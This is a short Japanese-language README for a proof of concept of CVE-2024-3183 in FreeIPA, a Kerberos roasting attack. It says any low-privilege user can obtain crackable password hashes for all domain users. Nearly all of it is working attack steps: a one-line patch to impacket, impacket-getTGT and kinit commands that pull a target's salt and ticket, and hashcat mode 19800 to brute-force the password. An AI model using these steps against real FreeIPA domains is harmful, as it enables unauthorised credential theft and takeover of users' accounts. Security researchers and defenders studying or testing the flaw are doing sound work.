CVE-2024-3183-POC

CVE-2024-3183 (FreeIPA Rosting) の PoC

影響: 低権限ユーザーがすべてのドメインユーザーのパスワードのハッシュを取得し、オフラインでブルートフォース攻撃（kerberoasting）を実行できます。

impacket-getTGT へのパッチ:

1. impacket/krb5/kerberosv5.py に decoder.decode.defaultErrorState = stGetValueDecoderByTag を追加します。
2. 完了！

POC1:

1. impacket/krb5/kerberosv5.py に decoder.decode.defaultErrorState = stGetValueDecoderByTag を追加します。
2. impacket-getTGT を -service オプションと -debug オプションと共に使用することで、1つのコマンドで salt を取得できます。 impacket-getTGT test.local/user -debug -service admin

POC2:

1. まず、既に侵害されているユーザー "admin" の TGT チケットを要求します。 kinit user
2. 次に、"admin" ユーザーの salt を調べます： printf "%b" "0\n" | KRB5_TRACE=/dev/stdout kinit admin | grep salt
3. "admin" の TGS を取得します： kvno admin
4. Python スクリプト（または特定の salt を使用した hashcat モード 19800）を使用して TGS をブルートフォースします。

1 - TGS, 2 - SALT, 3 - パスワード.

5. おめでとうございます。これでユーザー "admin" のパスワードを取得できました。

POC3:

1. 以下のコマンドで一発で実行できます： kinit -S target user これにより、対象ユーザーのキーで暗号化された TGT を取得できます。